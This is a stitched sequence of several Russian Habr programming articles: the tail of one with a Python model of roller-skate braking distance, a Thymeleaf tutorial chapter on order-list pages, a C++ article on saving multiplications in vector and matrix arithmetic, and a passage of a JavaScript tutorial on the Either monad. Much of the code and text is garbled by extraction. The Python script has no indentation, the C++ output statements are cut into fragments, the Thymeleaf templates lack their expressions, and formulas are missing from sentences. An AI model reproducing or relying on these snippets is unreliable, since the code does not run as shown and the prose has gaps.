- Сложные перекрестные движения вызывают значительный поток информации через мозолистое тело и могут способствовать миелинезации нервных волокон у детей и пожилых. Это повышает скорость и целостность нервных импульсов и увеличивает работоспособность мозга.
2) The Rhythmic Movement Method: A Revolutionary Approach to Improved Health and Well-Being by Harald Blomberg MD. Lulu Publishing Services. 2015. 284 pp.
- Доктор Бломберг описал систему упражнений, похожую на спонтанные ритмические движения новорожденных, и ее применение для тренировки мозга, двигательных способностей, эмоций и интеллекта у ослабленных детей и взрослых.
3) Brain Neurotrauma: Molecular, Neuropsychological, and Rehabilitation Aspects. Editor: Firas H Kobeissy, PhD. Boca Raton (FL): CRC Press/Taylor & Francis; 2015. ISBN-13: 978-1-4665-6598-2
Chapter 44. Cranial Nerve Noninvasive Neuromodulation New Approach to Neurorehabilitation Yuri Danilov, Kurt Kaczmarek, Kimberly Skinner, and Mitchell Tyler. <https://www.ncbi.nlm.nih.gov/books/NBK299239/>
- Исследовательская группа Пола Бах-и-Риты обнаружила, что электростимуляция ствола мозга через язык, в сочетании со специальными упражнениями с обратной связью, в отдельных случаях может значительно облегчать симптомы застарелых нейротравм.
**С)** Исходный код модели
Скрипт на Python
```
# Библиотеки
import math
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
#----------------------------------
# Физические величины
v = 3 # начальная скорость роллера, м/с
g = 10 # ускорение свободного падения, м/c^2
# k - коэффициент трения скольжения
# ϰ = 0..1 - доля веса роллера на тормозе
# θ = 0..90° - угол постановки конька
# s - тормозной путь, м
def s(k, ϰ, θ, v):
return round( v*v/(2*g*k*ϰ*math.sin(θ/180*math.pi)) , 1)
#----------------------------------
# Параметры модели можно задать либо в коде
df = pd.DataFrame({
'Способ торможения':['Велосипед','Штатный тормоз','Т-стоп','Magic-слайд','Плуг со скольжением','Плуг с упором','Soul-слайд'],
'kmin':[0.7, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5],
'kmax':[0.7, 0.7, 0.7, 0.7, 0.7, 0.7, 0.7],
'ϰmin':[0.7, 0.3, 0.1, 1.0, 1.0, 1.0, 0.3],
'ϰmax':[0.7, 0.5, 0.2, 1.0, 1.0, 1.0, 0.5],
'θmin':[90, 90, 90, 90, 10, 5, 45],
'θmax':[90, 90, 90, 90, 15, 7, 45]
})
# Либо читать их из csv файла
#df = pd.read_csv('brake.csv')
print('ПАРАМЕТРЫ:\n\n',df,'\n\n')
data = pd.DataFrame(columns=['Способ торможения','S','Smin', 'Smax'])
#----------------------------------
# Считаем разброс дистанции
for i in range(len(df)):
smax = s(df.loc[i,'kmin'], df.loc[i,'ϰmin'], df.loc[i,'θmin'], v)
smin = s(df.loc[i,'kmax'], df.loc[i,'ϰmax'], df.loc[i,'θmax'], v)
aver = round( (smin + smax)/2, 1)
df2 = pd.DataFrame([[df.loc[i,'Способ торможения'], aver, smin, smax]], columns=['Способ торможения','S','Smin', 'Smax'])
data = data.append(df2,ignore_index=True)
#----------------------------------
# Сортируем дистанцию по возрастанию
data2 = data.sort_values(by=['S'])
data2.set_index('Способ торможения', inplace=True)
print('РЕЗУЛЬТАТЫ: \n\nСкорость:',v,'м/c\n\n',data2,'\n\n')
#----------------------------------
# Сортируем дистанцию по убыванию
# и удалим лишнюю строку фрейма
data2 = data.sort_values(by=['S'], ascending=False)
data2 = data2.drop(data2[data2['Способ торможения'] == 'Велосипед'].index)
#----------------------------------
# Cтроим диаграмму эффективности
mins = np.array(data2['Smin'].tolist())
maxs = np.array(data2['Smax'].tolist())
index = np.arange(len(data2))
plt.axis([0,12,-0.5,5.5])
plt.title('Разброс тормозного пути при '+str(int(round(v*3.6,0)))+' км/ч', fontsize=14)
plt.barh(index,maxs-mins,color='b',left=mins)
plt.xlabel('Дистанция, м', fontsize=12)
plt.yticks(index,data2['Способ торможения'].tolist(), family="Ubuntu", style="italic", fontsize=12)
plt.grid()
plt.tight_layout()
plt.show()
``` | https://habr.com/ru/post/584848/ | null | ru | null |
# Учебник Thymeleaf: Глава 14. Еще несколько страниц нашей бакалеи
[Оглавление](https://habrahabr.ru/post/350862/)
14 Еще несколько страниц нашей бакалеи
--------------------------------------
Теперь мы много знаем об использовании Thymeleaf и можем добавить некоторые новые страницы на наш сайт для управления заказами.
Обратите внимание, что мы сосредоточимся на HTML-коде, но вы можете посмотреть исходный код, если хотите увидеть соответствующие контроллеры.
### 14.1 Список заказов
Начнем с создания страницы списка заказов, /WEB-INF/templates/order/list.html:
```
Good Thymes Virtual Grocery
Order list
==========
| DATE | CUSTOMER | TOTAL | |
| --- | --- | --- | --- |
| 13 jan 2011 | Frederic Tomato | 23.32 | [view](details.html) |
[Return to home](../home.html)
```
Здесь нет ничего, что могло бы нас удивить, кроме этой маленькой магии OGNL:
```
23.32 |
```
Для каждой строки заказа (объект OrderLine) умножаем свойства purchasePrice, amount и суммируем (вызывая соответствующие методы getPurchasePrice() и getAmount()) и возвращаем результат в список чисел, позже агрегированный функцию **#aggregates.sum(...)**, чтобы получить общую стоимость заказа.
Вы должны полюбить силу OGNL.
### 14.2 Детали заказа
Теперь на странице сведений о заказе, в которой мы будем сильно использовать синтаксис звездочки:
```
Good Thymes Virtual Grocery
Order details
=============
**Code:** 99
**Date:**
13 jan 2011
Customer
--------
**Name:** Frederic Tomato
**Since:**
1 jan 2011
Products
--------
| PRODUCT | AMOUNT | PURCHASE PRICE |
| --- | --- | --- |
| Strawberries | 3 | 23.32 |
**TOTAL:**
35.23
[Return to order list](list.html)
```
Здесь не так уж и много нового, кроме этого выбора вложенных объектов:
```
**Name:** Frederic Tomato
```
… что делает это **\*{name}** эквивалентным:
```
**Name:** Frederic Tomato
``` | https://habr.com/ru/post/352536/ | null | ru | null |
# Снижение сложности вычислений при операциях с векторами и матрицами
### Введение
Ввиду того, что при решении задач оптимизации, дифференциальных игр, и в ***2D*** и ***3D*** расчётах, а вернее при написании софта, который проводит вычисления для их решения одними из наиболее часто выполняемых операций являются векторно-матричные преобразования типа , где  — скалярные значения,  — вектора или матрицы размерности .
Собственно вот такие:
([источник](http://5klass.net/geometrija-10-klass/Vektory-geometrija-10-klass/003-Dejstvija-s-vektorami.html)).
Так, чтобы не углубляться в теорию оптимизации за примерами достаточно вспомнить формулу численного интегрирования [Рунге-Кутты четвёртого порядка](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%A0%D1%83%D0%BD%D0%B3%D0%B5_%E2%80%94_%D0%9A%D1%83%D1%82%D1%82%D1%8B):
где  — очередное значение интегрируемой функции   — шаг метода, а ,  — значения интегрируемой функции в некоторых промежуточных точках — в общем случае векторах.
Как можно заметить основную массу математических операций как для векторов, так и для матриц составляют:
* сложение и вычитание — более быстрые;
* умножение и деление — более медленные.
О сложности вычислений хорошо написано в [соответствующем курсе МФТИ](http://ru.discrete-mathematics.org/fall2016/3/complexity/compl-book.pdf).
Помимо этого, довольно существенные расходы при реализации векторных вычислений приходятся на операции управления памятью — создание и уничтожение массивов представляющих собой матрицы и вектора.
Соответственно есть смысл заняться снижением количества операций привносящих наибольшую сложность — умножения (математика) и операции управления памятью (алгоритмика).
### Снижение вычислительной сложности
Произвольный вектор  представим в виде , где
, , обозначим как ![$[a,X]$](https://habrastorage.org/getpro/habr/formulas/d82/a62/4fe/d82a624fe0397cad7f3e6cc306772d23.svg). Операцией приведения такого вектора назовем вычисление ![$[a,X]=x\in R^n$](https://habrastorage.org/getpro/habr/formulas/ad3/b64/ff2/ad3b64ff2c863835aae979a6d3fd419e.svg), — обратную операцию, вычислительная сложность которой составляет  операций действительного умножения.
Соответственно под экономией будем понимать экономию операций умножения.
На чём можно сэкономить при операциях с векторами :
1. Умножение на константу ![$b[a,X]= [ab,X]$](https://habrastorage.org/getpro/habr/formulas/bf3/17c/ea5/bf317cea5cad5caee745c32b6eb1a655.svg) — экономится  операция умножения.
2. Сложение  сонаправленных векторов ![$\sum\limits_{i=1}^{k} [a_i,X]= \left[\sum\limits_{i=1}^{k}a_i,X\right]$](https://habrastorage.org/getpro/habr/formulas/d2c/e71/cba/d2ce71cbae6eee789baf464d38ebc460.svg)
* откладывается вычисление  умножений;
* экономится  умножений.
3. Сложение не сонаправленных векторов ![$[a,X]+[b,Y]= [a,X+b/a\ Y]$](https://habrastorage.org/getpro/habr/formulas/063/a75/23a/063a7523a8fce7ffc4f6699722163c99.svg) — откладывается вычисление  операция умножения, при .
4. Умножение матрицы на вектор: ![$A[a,x]=[a,Ax]$](https://habrastorage.org/getpro/habr/formulas/880/f77/9d5/880f779d56b18cfc1082f6541f36dc99.svg), где  — что позволяет отложить вычисление  операций умножения.
5. Скалярное произведение векторов ![$([a,X],[b,Y])= ab(X,Y)$](https://habrastorage.org/getpro/habr/formulas/5aa/d1e/686/5aad1e686aff1b65693019765cf6e365.svg) — экономится  операция действительного умножения.
Аналогично, если представить матрицу в виде , где
, а , обозначим как ![$[a,\bar Y]$](https://habrastorage.org/getpro/habr/formulas/54f/d5d/7c5/54fd5d7c50c072f50e7c09ea564cf115.svg). Соответственно операцией приведения — вычисление ![$[a,\bar Y]=Y\in R^{n\times m}$](https://habrastorage.org/getpro/habr/formulas/b53/2af/7ba/b532af7ba9b59e079b23202918987036.svg), — обратную операцию, вычислительная сложность которой составляет  операций действительного умножения.
Аналогичны и возможности экономии (1-4) с той той лишь разницей, что операция скалярного произведения (5) отсутствует, а для остальных операций возможности сэкономить умножения становится больше в  раз, что довольно приятно, особенно при необходимости хранения в матричном представлении массивов векторов для проведения над ними различных массовых операций.
Понятно, что приведенные выше способы экономии не бесплатны в смысле необходимости иметь дополнительную память для хранения коэффициентов, и накладных затрат связанных с контролем состояния вычисляемых объектов.
Помимо чисто математических оптимизаций данный подход вполне применим при вычислениях на сетках т.е., например, если значение сеточной функции, представленной вектором, надо сначала умножить на некоторую константу, а потом найти градиентным методом (не перебирая все значения) её максимум.
### Снижение алгоритмической сложности
Как видно из предшествующих рассуждений, — реальная экономия возникает для:
* умножения вектора/матрицы на число и скалярных произведений векторов;
* операций над векторами и матрицами, отличающимися только коэффициентами.
Соответственно для того, чтобы обеспечить оптимизацию скалярных вычислений необходимо построить структуру данных следующего вида:
```
class Vector {
public:
sVec *v; //массив для данных
double upd; //коэфф. a
bool updated; //признак того, что a==1
//....
};
```
Возможно не самым очевидное здесь — назначение переменной **updated**, ввиду того, что если **upd = 1**, то вроде как дополнительные проверки избыточны. Но если вспомнить, что последовательное деление и умножение следующего вида:
```
a_ /= b_;
a_ *= b_;
```
не обязано сохранять значение **a\_** из-за округлений, то видно, что данная страховка не лишняя.
Далее, если обратить внимание на, то, что если у векторов ![$[a,X]$](https://habrastorage.org/getpro/habr/formulas/d82/a62/4fe/d82a624fe0397cad7f3e6cc306772d23.svg) и ![$[b,X]$](https://habrastorage.org/getpro/habr/formulas/8b3/c83/822/8b3c8382217cba975e01556658150dd0.svg) сам  одинаков, то нет смысла хранить его дважды, а достаточно создать единственный объект класса *базовый вектор*  и ссылаться на него в расчётах, т.е.
```
class sVec {
public:
unsigned long size;
double *v;//собственно массив данных
long linkCount;//счётчик ссылок
//..
};
```
Динамический массив здесь необходим для того, чтобы отрабатывать склонность векторов менять размерность при умножении на матрицу, подход связанный с учётом ссылок — для того, чтобы убрать "под капот" логику связанную с созданием и отслеживанием дубликатов объектов, при использовании перегруженных операторов для векторных и матричных операций в С++.
### Особенности реализации
Для примера [(который можно взять на github)](https://github.com/rumiantcev/vm_test) рассмотрим достаточно простые вычисления, связанные с векторно-матричной арифметикой в разрезе экономии операций умножения. Итак: сначала создадим необходимые объекты:
```
Vector X(2), Y(2), Z(2); //три вектора из R^2
double a = 2.0; // коэфф. для проверки умножения на скаляр
```
и инициализируем их как единичный вектор для **X=[1,1]** и нулевой для **Y=[0,0]**
```
X.one(); //единичный вектор [1,1]
Y.zero();// создаём нулевой вектор [0,0]
cout<<"Вектор X: "<linkCount<<" Адрес массива: "<linkCount<<" Адрес массива: "<
```
Получаем, что внутренние вектора указывают на разыве массивы и оба счётчика ссылок равны единице.
```
Вектор X: [1,1]; Счётчик ссылок X: 1 Адрес массива: 448c910
Вектор Y: [0,0]; Счётчик ссылок Y: 1 Адрес массива: 448c940
```
Далее приравниваем вектора:
```
Y=X;// теперь приравниваем X и Y
cout<<"Вектор X: "<linkCount<<" Адрес массива: "<linkCount<<" Адрес массива: "<
```
и видим, что теперь оба вектора указывают на один и тот же адрес, а счётчик ссылок увеличился на 1:
```
Вектор X: [1,1]; Счётчик ссылок X: 2 Адрес массива: 448c910
Вектор Y: [1,1]; Счётчик ссылок Y: 2 Адрес массива: 448c910
```
После чего домножаем вектор **X** на 2
```
X*=a; //домножаем вектор на коэффициент 2.0
cout<<"Вектор X: "<linkCount<<" Адрес массива: "<linkCount<<" Адрес массива: "<
```
и получаем, что несмотря на то, что оба вектора как и раньше указывают на один и тот же адрес, и счётчик ссылок как и прежде 2, у .**X** сохранённый коэффициент 2, а у **Y** соответственно равен 1:
```
Вектор X: [2,2]; Счётчик ссылок X: 2 Адрес массива: 448c910 Коэфф. a вектора X: 2
Вектор Y: [1,1]; Счётчик ссылок Y: 1 Адрес массива: 448c910 Коэфф. a вектора Y: 1
```
И в конце, сложив **X+Y**
```
Z= X+Y;
cout<<"Вектор Z: "<linkCount<<" Адрес массива: "<
```
получаем **Z=[3,3]**:
```
Вектор Z: [3,3]; Счётчик ссылок Z: 1 Адрес массива: 448c988 Коэфф. a вектора Z: 1
```
Для матриц все вычисления аналогичны:
```
Matrix X_(2), Y_(2), Z_(2); //создаём 3 единичных диагональных матрицы 2x2
cout<<"Матрица X: "<linkCount<<" Адрес массива: "<linkCount<<" Адрес массива: "<linkCount<<" Адрес массива: "<linkCount<<" Адрес массива: "<linkCount<<" Адрес массива: "<linkCount<<" Адрес массива: "<
```
Вывод также аналогичен:
```
Матрица X:
[1,0]
[0,1];
Счётчик ссылок X: 1 Адрес массива: 44854a0
Матрица Y:
[1,0]
[0,1];
Счётчик ссылок Y: 1 Адрес массива: 44854c0
Матрица X:
[1,0]
[0,1];
Счётчик ссылок X: 2 Адрес массива: 44854a0
Матрица Y:
[1,0]
[0,1];
Счётчик ссылок Y: 2 Адрес массива: 44854a0
Матрица X:
[2,0]
[0,2];
Счётчик ссылок X: 2 Адрес массива: 44854a0 Коэфф. a матрицы X: 2
Матрица Z:
[3,0]
[0,3];
Счётчик ссылок Z: 1 Адрес массива: 4485500 Коэфф. a матрицы Z: 1
```
Библиотечка доступна на [GitHub](https://github.com/rumiantcev/vm_test).
Пользуйтесь, критикуйте. | https://habr.com/ru/post/350924/ | null | ru | null |
# Элегантная обработка ошибок в JavaScript с помощью монады Either
Давайте немного поговорим о том, как мы обрабатываем ошибки. В JavaScript у нас есть встроенная функция языка для работы с исключениями. Проблемный код мы заключаем в конструкцию `try...catch`. Это позволяет прописать нормальный путь выполнения в разделе `try`, а затем разобраться со всеми исключениями в разделе `catch`. Неплохой вариант. Это позволяет сосредоточиться на текущей задаче, не думая о каждой возможной ошибке. Определённо лучше, чем засорять код бесконечными if.
Без `try...catch` трудно проверять результаты каждого вызова функции для неожиданных значений. Это полезная конструкция. Но у неё есть определённые проблемы. И это не единственный способ обрабатывать ошибки. В статье мы рассмотрим использование **монады Either** в качестве альтернативы `try...catch`.
Прежде чем продолжить, отмечу пару моментов. Статья предполагает, что вы уже знаете о композиции функций и каррировании. И предупреждение. Если вы раньше не сталкивались с монадами, они могут показаться действительно… странными. Работа с такими инструментами требует изменить мышление. Поначалу это бывает тяжело.
Не волнуйтесь, если сразу запутались. У всех так. В конце статьи я перечислил несколько ссылок, которые могут помочь. Не сдавайтесь. Эти штуки опьяняют, как только проникают в мозг.
Пример проблемы
===============
Прежде чем обсуждать проблемы исключений, давайте поговорим о том, почему они вообще существуют и почему появились блоки `try...catch`. Для этого посмотрим на проблему, которую я пытался сделать хотя бы отчасти реалистичной. Представьте, что мы пишем функцию для отображения списка уведомлений. Нам уже удалось (каким-то образом) вернуть данные с сервера. Но по какой-то причине инженеры бэкенда решили отправить его в формате CSV, а не JSON. Необработанные данные могут выглядеть примерно так:
```
timestamp,content,viewed,href
2018-10-27T05:33:34+00:00,@madhatter invited you to tea,unread,https://example.com/invite/tea/3801
2018-10-26T13:47:12+00:00,@queenofhearts mentioned you in 'Croquet Tournament' discussion,viewed,https://example.com/discussions/croquet/1168
2018-10-25T03:50:08+00:00,@cheshirecat sent you a grin,unread,https://example.com/interactions/grin/88
```
Мы хотим отобразить его в HTML. Это может выглядеть примерно так:
```
* [@madhatter invited you to tea](https://example.com/invite/tea/3801)
27 October 2018* * [@queenofhearts mentioned you in 'Croquet Tournament' discussion](https://example.com/discussions/croquet/1168)
26 October 2018
* [@cheshirecat sent you a grin](https://example.com/interactions/grin/88)
25 October 2018
```
Чтобы упростить задачу, пока просто сосредоточимся на обработке каждой строки данных CSV. Начнём с нескольких простых функций для обработки строк. Первая делит текстовую строку на поля:
```
function splitFields(row) {
return row.split('","');
}
```
Здесь функция упрощена, потому что это учебный материал. Мы занимаемся обработкой ошибок, а не анализом CSV. Если в одном из сообщений попадётся запятая, всё это будет ужасно неправильно. Пожалуйста, никогда не используйте такой код для анализа реальных данных CSV. Если вам когда-либо приходилось анализировать данные CSV, используйте [хорошо протестированную библиотеку парсинга CSV](https://github.com/sindresorhus/neat-csv).
После разделения данных мы хотим создать объект. И чтобы каждое имя свойства соответствовало заголовкам CSV. Предположим, мы уже каким-то образом проанализировали строку заголовка (об этом позже). Мы подошли к точке, где что-то может пойти не так. У нас появилась ошибка для обработки. Мы выдаём ошибку, если длина строки не соответствует строке заголовка. (`_.zipObject` — [это lodash-функция](https://lodash.com/docs/4.17.11#zipObject)).
```
function zipRow(headerFields, fieldData) {
if (headerFields.length !== fieldData.length) {
throw new Error("Row has an unexpected number of fields");
}
return _.zipObject(headerFields, fieldData);
}
```
После этого добавим к объекту человекочитаемую дату, чтобы выдать её в нашем шаблоне. Получилось немного многословно, так как в JavaScript нет идеальной встроенной поддержки форматирования дат. И снова мы сталкиваемся с потенциальными проблемами. Если встретится недопустимая дата, наша функция выдаёт ошибку.
```
function addDateStr(messageObj) {
const errMsg = 'Unable to parse date stamp in message object';
const months = [
'January', 'February', 'March', 'April', 'May', 'June', 'July',
'August', 'September', 'October', 'November', 'December'
];
const d = new Date(messageObj.datestamp);
if (isNaN(d)) {
throw new Error(errMsg);
}
const datestr = `${d.getDate()} ${months[d.getMonth()]} ${d.getFullYear()}`;
return {datestr, ...messageObj};
}
```
Наконец, берём объект и передаём его через [функцию template](https://lodash.com/docs/4.17.11#template), чтобы получить строку HTML.
```
const rowToMessage = _.template(`- [<%= content %>](<%= href %>)
<%= datestr %>- `);
```
Было бы также неплохо напечатать ошибку, если она встретилась:
```
const showError = _.template(`- <%= message %>
`);
```
Когда всё на месте, можно собрать функцию для обработки каждой строки.
```
function processRow(headerFieldNames, row) {
try {
fields = splitFields(row);
rowObj = zipRow(headerFieldNames, fields);
rowObjWithDate = addDateStr(rowObj);
return rowToMessage(rowObj);
} catch(e) {
return showError(e);
}
}
```
Итак, функция готова. Давайте подробнее рассмотрим, как она управляет исключениями.
Исключения: хорошая часть
=========================
Итак, что хорошего в `try...catch`? Следует отметить, что в приведённом выше примере любой из шагов в блоке `try` может вызвать ошибку. В `zipRow()` и `addDateStr()` мы намеренно выбрасываем ошибки. И если возникает проблема, просто ловим ошибку и показываем любое сообщение на странице. Без этого механизма код становится действительно уродливым. Вот как это может выглядеть. Предположим, что функции не выбрасывают ошибки, а возвращают `null`.
```
function processRowWithoutExceptions(headerFieldNames, row) {
fields = splitFields(row);
rowObj = zipRow(headerFieldNames, fields);
if (rowObj === null) {
return showError(new Error('Encountered a row with an unexpected number of items'));
}
rowObjWithDate = addDateStr(rowObj);
if (rowObjWithDate === null) {
return showError(new Error('Unable to parse date in row object'));
}
return rowToMessage(rowObj);
}
```
Как видите, появилось большое количество шаблонных выражений `if`. Код более многословный. И трудно следовать основной логике. Кроме того, значение `null` не особо много нам говорит. Мы на самом деле не знаем, почему предыдущий вызов функции не удался. Нам придётся гадать. Мы создаём сообщение об ошибке и вызываем `showError()`. Такой код грязнее и запутаннее.
Посмотрите ещё раз на версию с обработкой исключений. Она чётко разделяет удачный путь программы и код обработки исключений. Ветка `try` — это удачный путь, а `catch` — ошибки. Вся обработка исключений происходит в одном месте. И отдельные функции могут сообщать, почему они потерпели неудачу. В целом, это кажется довольно милым. Думаю, что большинство считает первый пример вполне подходящим. Зачем же другой подход?
Проблемы с обработкой исключений try...catch
============================================
Такой подход позволяет игнорировать эти досадные ошибки. К сожалению, `try...catch` делает свою работу слишком хорошо. Вы просто бросаете исключение и двигаетесь дальше. Мы можем словить его позже. И все намерены всегда ставить такие блоки, правда. Но не всегда очевидно, куда дальше идёт ошибка. И блок слишком легко забыть. И прежде чем вы это поймёте, ваше приложение аварийно завершает работу.
Кроме того, исключения загрязняют код. Мы не будем здесь подробно обсуждать функциональную чистоту. Но давайте рассмотрим один маленький аспект функциональной чистоты: ссылочную прозрачность. Ссылочно-прозрачная функция всегда возвращает один и тот же результат для конкретного входа. Но для функций с исключениями мы не можем такого сказать. В любой момент они могут выдать исключение вместо возврата значения. Это усложняет логику. Но что, если найти беспроигрышный вариант — чистый способ обработки ошибок?
Придумываем альтернативу
========================
Чистые функции всегда возвращают значение (даже если это значение отсутствует). Поэтому наш код обработки ошибок должен предполагать, что мы всегда возвращаем значение. Итак, в качестве первой попытки, что делать, если при сбое мы вернули объект Error? То есть, где бы мы ни появилась ошибка, мы возвращаем такой объект. Это может выглядеть примерно так:
```
function processRowReturningErrors(headerFieldNames, row) {
fields = splitFields(row);
rowObj = zipRow(headerFieldNames, fields);
if (rowObj instanceof Error) {
return showError(rowObj);
}
rowObjWithDate = addDateStr(rowObj);
if (rowObjWithDate instanceof Error) {
return showError(rowObjWithDate);
}
return rowToMessage(rowObj);
}
```
Это не особое улучшение версии без исключений. Но так лучше. Мы перенесли ответственность за сообщения об ошибках обратно в отдельные функции. Но у нас остались все эти if'ы. Хорошо бы как-то инкапсулировать шаблон. Другими словами, если мы знаем, что у нас ошибка, не беспокоиться о выполнении остальной части кода.
Полиморфизм
===========
Как это сделать? Это сложная проблема. Но её можно решить с помощью магии *полиморфизма*. Если вы раньше не сталкивались с полиморфизмом, не волнуйтесь. По сути это «предоставление единого интерфейса для сущностей разных типов» (Страуструп, Б. «Глоссарий C++ Бьёрна Страуструпа»). В JavaScript это означает, что мы создаём объекты с одинаково именованными методами и сигнатурами. Но разное поведение. Классический пример — ведение журнала приложений. Мы можем отправить наши журналы в разные места в зависимости от того, в какой среде находимся. Что, если мы создадим два объекта logger, например?
```
const consoleLogger = {
log: function log(msg) {
console.log('This is the console logger, logging:', msg);
}
};
const ajaxLogger = {
log: function log(msg) {
return fetch('https://example.com/logger', {method: 'POST', body: msg});
}
};
```
Оба объекта определяют лог-функцию, которая ожидает один строковый параметр. Но они ведут себя по-разному. Красота в том, что мы можем написать код, который вызывает `.log()`, при этом неважно, какой объект он использует. Это может быть `consoleLogger` или `ajaxLogger`. Всё работает в любом случае. Например, приведённый ниже код будет одинаково хорошо работать с любым объектом:
```
function log(logger, message) {
logger.log(message);
}
```
Другой пример — метод `.toString()` для всех JS-объектов. Можем написать метод `.toString()` для любого класса, который создаём. Далее, можно создать два класса, которые по-разному реализуют метод `.toString()`. Назовём их `Left` и `Right` (чуть позже объясню названия).
```
class Left {
constructor(val) {
this._val = val;
}
toString() {
const str = this._val.toString();
return `Left(${str})`;
}
}
```
```
class Right {
constructor(val) {
this._val = val;
}
toString() {
const str = this._val.toString();
return `Right(${str})`;
}
}
```
Теперь создадим функцию, которая вызывает `.toString()` на этих двух объектах:
```
function trace(val) {
console.log(val.toString());
return val;
}
trace(new Left('Hello world'));
// ⦘ Left(Hello world)
trace(new Right('Hello world'));
// ⦘ Right(Hello world);
```
Не выдающийся код, я знаю. Но дело в том, что у нас два разных типа поведения, которые используют один и тот же интерфейс. Это полиморфизм. Но обратите внимание на кое-что интересное. Сколько операторов if мы использовали? Ноль. Ни одного. Мы создали два различных типа поведения без единого if-оператора. Возможно, нечто такое можно использовать для обработки ошибок…
Left и Right
============
Возвращаясь к нашей проблеме. Нужно определить удачный и неудачный путь для нашего кода. На удачном пути мы просто продолжаем спокойно запускать код, пока не произойдёт ошибка или мы не закончим. Если мы окажемся на неудачном пути, мы больше не будем пытаться запустить код. Мы могли бы назвать эти пути Happy и Sad, но постараемся следовать соглашениям об именах, которые используют другие языки программирования и библиотеки. Итак, назовём неудачный путь Left, а удачный — Right.
Создадим метод, который запускает функцию, если мы находимся на удачном пути, но игнорировать её на неудачном:
```
/**
* Left represents the sad path.
*/
class Left {
constructor(val) {
this._val = val;
}
runFunctionOnlyOnHappyPath() {
// Left is the sad path. Do nothing
}
toString() {
const str = this._val.toString();
return `Left(${str})`;
}
}
```
```
/**
* Right represents the happy path.
*/
class Right {
constructor(val) {
this._val = val;
}
runFunctionOnlyOnHappyPath(fn) {
return fn(this._val);
}
toString() {
const str = this._val.toString();
return `Right(${str})`;
}
}
```
Что-то вроде такого:
```
const leftHello = new Left('Hello world');
const rightHello = new Right('Hello world');
leftHello.runFunctionOnlyOnHappyPath(trace);
// does nothing
rightHello.runFunctionOnlyOnHappyPath(trace);
// ⦘ Hello world
// ￩ "Hello world"
```
#### Трансляция
Мы приближаемся к чему-то полезному, но ещё не совсем. Наш метод `.runFunctionOnlyOnHappyPath()` возвращает свойство `_val`. Всё нормально, но слишком неудобно, если мы хотим запустить более одной функции. Почему? Потому что мы уже не знаем, находимся на удачном или неудачном пути. Информация исчезает, как только мы берём значение за пределами Left и Right. Итак, что мы можем сделать, так это вернуть путь Left или Right с новым `_val` внутри. И мы сократим имя, раз уж мы здесь. То, что мы делаем, — это трансляция функции из мира простых значений в мир Left и Right. Поэтому назовём метод `map()`:
```
/**
* Left represents the sad path.
*/
class Left {
constructor(val) {
this._val = val;
}
map() {
// Left is the sad path
// so we do nothing
return this;
}
toString() {
const str = this._val.toString();
return `Left(${str})`;
}
}
```
```
/**
* Right represents the happy path
*/
class Right {
constructor(val) {
this._val = val;
}
map(fn) {
return new Right(
fn(this._val)
);
}
toString() {
const str = this._val.toString();
return `Right(${str})`;
}
}
```
Вставляем этот метод и используем Left или Right в свободном синтаксисе:
```
const leftHello = new Left('Hello world');
const rightHello = new Right('Hello world');
const helloToGreetings = str => str.replace(/Hello/, 'Greetings,');
leftHello.map(helloToGreetings).map(trace);
// Doesn't print any thing to the console
// ￩ Left(Hello world)
rightHello.map(helloToGreetings).map(trace);
// ⦘ Greetings, world
// ￩ Right(Greetings, world)
```
Мы создали два пути выполнения. Можем положить данные на удачный путь, вызвав `new Right()`, или на неудачный, вызвав `new Left()`.
*Каждый класс представляет путь: удачный или неудачный. Эту железнодорожную метафору я украл у [Скотта Влащина](https://fsharpforfunandprofit.com/rop/)*
Если `map` сработал на удачном пути, едем по нему и обрабатываем данные. Если окажемся на неудачном, ничего не произойдёт. Просто продолжаем передавать значение дальше. Если бы мы, например, поместили Error на этом неудачном пути, то получилось бы что-то очень похожее на `try…catch`.
*Используем `.map()` для перемещения по пути*
По мере дальнейшего пути становится немного сложно всё время писать Left или Right, поэтому назовём эту комбинацию просто Either («либо»). Либо налево, либо направо.
#### Ярлыки для создания объектов Either
Итак, следующим шагом будет переписать наши примеры функций, чтобы они возвращали Either. Left для ошибки или Right для значения. Но прежде чем мы это сделаем, немного развлечёмся. Напишем пару ярлычков. Первый — это статический метод под названием `.of()`. Он всего лишь возвращает новый Left или Right. Код может выглядеть следующим образом:
```
Left.of = function of(x) {
return new Left(x);
};
Right.of = function of(x) {
return new Right(x);
};
```
Честно говоря, даже `Left.of()` и `Right.of()` утомительно писать. Поэтому я склоняюсь к ещё более коротким ярлыкам `left()` и `right()`:
```
function left(x) {
return Left.of(x);
}
function right(x) {
return Right.of(x);
}
```
С этими ярлычками начнём переписывать функции приложения:
```
function zipRow(headerFields, fieldData) {
const lengthMatch = (headerFields.length == fieldData.length);
return (!lengthMatch)
? left(new Error("Row has an unexpected number of fields"))
: right(_.zipObject(headerFields, fieldData));
}
function addDateStr(messageObj) {
const errMsg = 'Unable to parse date stamp in message object';
const months = [
'January', 'February', 'March', 'April', 'May', 'June', 'July',
'August', 'September', 'October', 'November', 'December'
];
const d = new Date(messageObj.datestamp);
if (isNaN(d)) { return left(new Error(errMsg)); }
const datestr = `${d.getDate()} ${months[d.getMonth()]} ${d.getFullYear()}`;
return right({datestr, ...messageObj});
}
```
Модифицированные функции не так уж сильно отличаются от старых. Мы просто обернём возвращаемое значение или в Left, или в Right, в зависимости от того, есть ли ошибка.
После этого можем начать переработку основной функции, которая обрабатывает одну строку. Начнём с того, что поместим строку в Either с `right()`, а затем транслируем `splitFields`, чтобы её разделить:
```
function processRow(headerFields, row) {
const fieldsEither = right(row).map(splitFields);
// …
}
```
Это работает просто отлично, но случается беда, если попытаться то же самое сделать с `zipRow()`:
```
function processRow(headerFields, row) {
const fieldsEither = right(row).map(splitFields);
const rowObj = fieldsEither.map(zipRow /* wait. this isn't right */);
// ...
}
```
Дело в том, что `zipRow()` ожидает два параметра. Но функции, которые мы передаём в `.map()`, получают только одно значение из свойства `._val`. Ситуацию можно исправить с помощью каррированной версии `zipRow()`. Это может выглядеть примерно так:
```
function zipRow(headerFields) {
return function zipRowWithHeaderFields(fieldData) {
const lengthMatch = (headerFields.length == fieldData.length);
return (!lengthMatch)
? left(new Error("Row has an unexpected number of fields"))
: right(_.zipObject(headerFields, fieldData));
};
}
```
Это небольшое изменение упрощает преобразование `zipRow`, поэтому будет хорошо работать с `.map()`:
```
function processRow(headerFields, row) {
const fieldsEither = right(row).map(splitFields);
